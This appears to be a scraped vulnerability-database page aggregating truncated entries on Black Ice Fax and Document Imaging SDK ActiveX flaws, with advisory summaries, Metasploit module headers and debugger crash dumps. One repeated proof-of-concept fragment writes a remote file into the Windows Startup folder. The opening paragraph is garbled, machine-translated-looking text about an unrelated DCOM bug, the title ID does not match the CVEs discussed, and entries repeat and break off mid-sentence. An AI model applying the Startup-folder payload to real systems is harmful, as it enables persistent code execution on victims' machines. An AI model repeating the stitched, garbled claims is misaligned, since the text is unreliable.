EUVD-2008-3199

Malware in sbrugna...

DCOM the front of the pass to kill the vulnerability ms03-0 4 3 The use of code-vulnerability warning-the black bar safety net

Because you can go udp135 and UDP1024 more than one dynamic port, when many engage in an APT opening-day network firewall-black ice the white list of the machine is also easy to get. I often say that the inside of that MSG vulnerabilities. Aware of the RPC of the importance of after, a series of...

Black Ice Fax Voice SDK 12.6 - Remote Code Execution Exploit

No description provided by source. html !-- Black Ice Fax Voice SDK v12.6 - integer dereference code execution exploit Date: Jun 20, 2011 Link: http://www.blackice.com/Fax%20C++%20ActiveX.htm Version: 12.6 Tested on: WinXP - IE 6 & 7 Class FAX GUID: 2E980303-C865-11CF-BA24-444553540000 Number of...

Black Ice BIImgFrm.ocx ActiveX Code Execution (CVE-2008-2683)

A remote code execution vulnerability has been reported in Black Ice BIImgFrm.ocx. The vulnerability is due to a design flaw in the application which allows uploading of specially crafted files to an affected system. An attacker could exploit this vulnerability by enticing a victim to open a...

Black Ice Cover Page ActiveX Control Arbitrary File Download

This module allows remote attackers to place arbitrary files on a users file system by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX Control BIImgFrm.ocx 12.0.0.0. Code execution can be achieved by first uploading the payload to the remote machine, and then uploa...

Black Ice Cover Page ActiveX Control Arbitrary File Download

Exploit for windows platform in category remote exploits $Id: blackicedownloadimagefileurl.rb 12992 2011-06-21 02:51:39Z sinn3r $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more...

Black Ice Cover Page - ActiveX Control Arbitrary File Download (Metasploit)

$Id: blackicedownloadimagefileurl.rb 12992 2011-06-21 02:51:39Z sinn3r $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

Black Ice Cover Page SDK - Insecure Method 'DownloadImageFileURL()' (Metasploit)

Blackice Cover Page SDK insecure method DownloadImageFileURL exploit arg1="http://www.google.com/robots.txt" arg2="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\robots.txt" target.DownloadImageFileURL arg1 ,arg2 MSF Module $Id: blackicecoverpagedownload.rb 12540 2011-06-20...

Black Ice Fax Voice SDK v12.6 Remote Code Execution

Exploit for windows platform in category remote exploits : Theres an integer overflow in this section of fax.ocx which is how i found the dereference vulnerability. 1000CFA3 MOV ECX,EBP+8 51EC8B55 EAX 1000CF82 - 51EC8B55 EBX 0013EC68 - 01D29E90 ECX FFFFFFFF EDX 73F360D3 - EB0C4589 EDI 0013EB98 -...

Black Ice Cover Page SDK insecure method DownloadImageFileURL()

Exploit for windows platform in category remote exploits Blackice Cover Page SDK insecure method DownloadImageFileURL exploit arg1="http://www.google.com/robots.txt" arg2="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\robots.txt" target.DownloadImageFileURL arg1 ,arg2 MSF Module...

Black Ice Cover Page ActiveX Control Arbitrary File Download

Blackice Cover Page SDK insecure method DownloadImageFileURL exploit arg1="http://www.google.com/robots.txt" arg2="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\robots.txt" target.DownloadImageFileURL arg1 ,arg2 MSF Module $Id: blackicecoverpagedownload.rb 12540 2011-06-20...

Black Ice Fax Voice SDK 12.6 Code Execution

: Theres an integer overflow in this section of fax.ocx which is how i found the dereference vulnerability. 1000CFA3 MOV ECX,EBP+8 51EC8B55 EAX 1000CF82 - 51EC8B55 EBX 0013EC68 - 01D29E90 ECX FFFFFFFF EDX 73F360D3 - EB0C4589 EDI 0013EB98 - 73F4D682 ESI 00000000 EBP 0013EB94 - 0013EC10 ESP 0013EB9...

Black Ice Fax Voice SDK 12.6 - Remote Code Execution

Black Ice Fax Voice SDK 12.6 - Remote Code Execution : Theres an integer overflow in this section of fax.ocx which is how i found the dereference vulnerability. 1000CFA3 MOV ECX,EBP+8 51EC8B55 EAX 1000CF82 - 51EC8B55 EBX 0013EC68 - 01D29E90 ECX FFFFFFFF EDX 73F360D3 - EB0C4589 EDI 0013EB98 -...

Black Ice Fax Voice SDK 12.6 - Remote Code Execution

: Theres an integer overflow in this section of fax.ocx which is how i found the dereference vulnerability. 1000CFA3 MOV ECX,EBP+8 51EC8B55 EAX 1000CF82 - 51EC8B55 EBX 0013EC68 - 01D29E90 ECX FFFFFFFF EDX 73F360D3 - EB0C4589 EDI 0013EB98 - 73F4D682 ESI 00000000 EBP 0013EB94 - 0013EC10 ESP 0013EB9...

Heap overflow

Heap-based buffer overflow in the OpenGifFile function in BiGif.dll in Black Ice Document Imaging SDK 10.95 allows remote attackers to execute arbitrary code via a long string argument to the GetNumberOfImagesInGifFile method in the BIImgFrm Control ActiveX control in biimgfrm.ocx. NOTE: some of...

CVE-2008-3209

Heap-based buffer overflow in the OpenGifFile function in BiGif.dll in Black Ice Document Imaging SDK 10.95 allows remote attackers to execute arbitrary code via a long string argument to the GetNumberOfImagesInGifFile method in the BIImgFrm Control ActiveX control in biimgfrm.ocx. NOTE: some of...

CVE-2008-3209

CVE-2008-3209 describes a heap-based buffer overflow in the OpenGifFile function of BiGif.dll within Black Ice Document Imaging SDK 10.95. An attacker can exploit this by passing a long string to the GetNumberOfImagesInGifFile method of the BIImgFrm Control ActiveX biimgfrm.ocx, allowing remote c...

CVE-2008-3209

Heap-based buffer overflow in the OpenGifFile function in BiGif.dll in Black Ice Document Imaging SDK 10.95 allows remote attackers to execute arbitrary code via a long string argument to the GetNumberOfImagesInGifFile method in the BIImgFrm Control ActiveX control in biimgfrm.ocx. NOTE: some of...

Black Ice软件Document Imaging SDK/ActiveX控件远程堆溢出漏洞

BUGTRAQ ID: 30243 Document Imaging SDK/ActiveX是用于帮助开发人员和程序员创建图形处理应用的软件开发工具。 Document Imaging SDK/ActiveX控件的BiGif.dll文件中没有正确地验证对OpenGifFile函数的输入参数，如果用户受骗访问了恶意网页并向BIImgFrm Control ActiveX控件（BIImgFrm.ocx）的GetNumberOfImagesInGifFile方式传送了超长字符串的话，就会触发堆溢出，导致执行任意指令。 Black Ice Document Imaging SDK/ActiveX...

documentimaging-overflow.txt

Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EAX 001919C0 - Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EBX 41414141 ECX 00004141 EDX 00150168 - 00000000 EDI 41414141 ESI 001919B8 - Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EBP 0013EA20 - 0013EAA4 ESP 0013E804...